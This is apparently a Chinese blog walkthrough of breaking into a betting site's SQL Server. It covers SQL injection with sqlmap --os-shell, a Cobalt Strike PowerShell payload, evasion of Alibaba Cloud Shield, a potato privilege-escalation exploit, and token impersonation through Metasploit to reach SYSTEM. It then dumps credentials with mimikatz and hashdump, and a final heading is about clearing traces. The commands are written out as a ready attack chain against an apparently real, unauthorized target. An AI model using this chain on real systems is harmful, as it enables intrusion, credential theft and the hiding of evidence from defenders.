当前位置：网站首页>渗透实战-SQLServer提权
渗透实战-SQLServer提权
2022-07-04 03:32:00 【amingMM】
技术点：
云盾躲避
cs / msf 配合上线
0x00 打点前提
BC站 登录界面
sqlmap 直接跑 sql盲注
sqlmap -u "http://127.0.0.1/Login/index " --form --batch --os-shell
os-shell
0x01 上线CS
Cobalt Strike
● 创建监听
生成一个Powershell command的木马
丢到刚刚的shell命令行里面去
● 查看权限
当前的shell权限，只有nt service\mssqlserver，权限很低
0x02 提权
● 查看补丁
安装了154个补丁
修补程序: 安装了 154 个修补程序。
[01]: KB2959936
[02]: KB3191564
[03]: KB2896496
[04]: KB2919355
[05]: KB2920189
[06]: KB2928120
[07]: KB2931358
[08]: KB2931366
[09]: KB2933826
[10]: KB2938066
[11]: KB2938772
[12]: KB2949621
[13]: KB2954879
[14]: KB2958262
[15]: KB2958263
[16]: KB2961072
[17]: KB2965500
[18]: KB2966407
[19]: KB2967917
[20]: KB2971203
[21]: KB2971850
[22]: KB2973351
[23]: KB2973448
[24]: KB2975061
[25]: KB2976627
[26]: KB2977629
[27]: KB2981580
[28]: KB2987107
[29]: KB2989647
[30]: KB2989930
[31]: KB2998527
[32]: KB3000850
[33]: KB3003057
[34]: KB3004545
[35]: KB3008242
[36]: KB3011780
[37]: KB3012702
[38]: KB3013172
[39]: KB3013410
[40]: KB3013538
[41]: KB3013769
[42]: KB3013791
[43]: KB3013816
[44]: KB3014442
[45]: KB3019978
[46]: KB3021674
[47]: KB3023266
[48]: KB3024751
[49]: KB3024755
[50]: KB3027209
[51]: KB3030947
[52]: KB3031044
[53]: KB3033446
[54]: KB3034348
[55]: KB3035126
[56]: KB3036612
[57]: KB3038002
[58]: KB3042058
[59]: KB3042085
[60]: KB3043812
[61]: KB3044374
[62]: KB3044673
[63]: KB3045634
[64]: KB3045685
[65]: KB3045717
[66]: KB3045719
[67]: KB3045755
[68]: KB3045999
[69]: KB3046017
[70]: KB3046737
[71]: KB3048043
[72]: KB3054169
[73]: KB3054203
[74]: KB3054256
[75]: KB3054464
[76]: KB3055323
[77]: KB3055343
[78]: KB3055642
[79]: KB3059317
[80]: KB3060681
[81]: KB3060793
[82]: KB3061512
[83]: KB3063843
[84]: KB3071756
[85]: KB3077715
[86]: KB3078405
[87]: KB3078676
[88]: KB3080149
[89]: KB3081320
[90]: KB3082089
[91]: KB3084135
[92]: KB3084905
[93]: KB3086255
[94]: KB3087137
[95]: KB3091297
[96]: KB3092601
[97]: KB3092627
[98]: KB3094486
[99]: KB3095701
[100]: KB3099834
[101]: KB3100473
[102]: KB3102429
[103]: KB3102939
[104]: KB3103616
[105]: KB3103696
[106]: KB3103709
[107]: KB3109103
[108]: KB3109976
[109]: KB3110329
[110]: KB3115224
[111]: KB3121261
[112]: KB3123245
[113]: KB3126041
[114]: KB3126434
[115]: KB3126587
[116]: KB3126593
[117]: KB3132080
[118]: KB3133043
[119]: KB3133690
[120]: KB3134179
[121]: KB3134815
[122]: KB3137728
[123]: KB3138602
[124]: KB3139164
[125]: KB3139398
[126]: KB3139914
[127]: KB3140219
[128]: KB3140234
[129]: KB3144850
[130]: KB3145384
[131]: KB3145432
[132]: KB3146604
[133]: KB3146723
[134]: KB3146751
[135]: KB3147071
[136]: KB3149157
[137]: KB3155784
[138]: KB3156059
[139]: KB3159398
[140]: KB3161949
[141]: KB3162343
[142]: KB3172614
[143]: KB3172729
[144]: KB3175024
[145]: KB3178539
[146]: KB3179574
[147]: KB3185319
[148]: KB4033428
[149]: KB4483187
[150]: KB4486105
[151]: KB4486107
[152]: KB5001403
[153]: KB5007154
[154]: KB5008263
网卡: 安装了 1 个 NIC。
[01]: Red Hat VirtIO Ethernet Adapter
连接名: 以太网
启用 DHCP: 是
使用ms16-075试试
查看AV
https://mrxn.net/avlist/
有阿里云盾
0x03 转场msf
● 新建 payload
选择 Foreign HTTP
在msf上使用
● CS 新建会话
选择你的会话即可派生会话
在msf上等到会话连接(注意：域前置貌似无法派生会话)
权限依旧很低，在CS里面使用文件浏览上传烂土豆
● 在当前会话里面，开始提权：
cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌
impersonate_token "administrator的令牌"
拿到了system权限
0x04 抓取Hash
load mimikatz
creds_all
使用msf自带的：run post/windows/gather/smart_hashdump
直接登录
0x05 清理痕迹
边栏推荐
- The property of judging odd or even numbers about XOR.
- I stepped on a foundation pit today
- system information
- Redis transaction
- [.NET + mqtt]. Mise en œuvre de la communication mqtt dans l'environnement net 6 et démonstration de code pour l'abonnement et la publication de messages bilatéraux du serveur et du client
- MySQL is dirty
- What is cloud primordial?
- Unity knapsack system (code to center and exchange items)
- PID of sunflower classic
- I stepped on a foundation pit today
猜你喜欢
Record a problem that soft deletion fails due to warehouse level error
7 * 24-hour business without interruption! Practice of applying multiple live landing in rookie villages
MySQL is dirty
Want to do something in production? Then try these redis commands
SQL injection (1) -- determine whether there are SQL injection vulnerabilities
Defensive programming skills
2022-07-03：数组里有0和1，一定要翻转一个区间，翻转：0变1，1变0。 请问翻转后可以使得1的个数最多是多少？ 来自小红书。3.13笔试。
Www 2022 | taxoenrich: self supervised taxonomy complemented by Structural Semantics
What is the difference between enterprise wechat applet and wechat applet
Explain AI accelerator in detail: why is this the golden age of AI accelerator?
随机推荐
Solve the problems encountered by the laravel framework using mongodb
[PaddleSeg 源码阅读] PaddleSeg计算Dice
Leetcode 110 balanced binary tree
MySQL query
warning: LF will be replaced by CRLF in XXXXXX
functools下的reduce函数
基於.NetCore開發博客項目 StarBlog - (14) 實現主題切換功能
Rhcsa day 3
Ningde times and BYD have refuted rumors one after another. Why does someone always want to harm domestic brands?
[Valentine's Day confession code] - Valentine's Day is approaching, and more than 10 romantic love effects are given to the one you love
Hospital network planning and design document based on GLBP protocol + application form + task statement + opening report + interim examination + literature review + PPT + weekly progress + network to
PID of sunflower classic
Unity controls the selection of the previous and next characters
Li Chuang EDA learning notes 13: electrical network for drawing schematic diagram
National standard gb28181 protocol platform easygbs fails to start after replacing MySQL database. How to deal with it?
SQL injection (1) -- determine whether there are SQL injection vulnerabilities
Webhook triggers Jenkins for sonar detection
What is cloud primordial?
Nbear introduction and use diagram
If you have just joined a new company, don't be fired because of your mistakes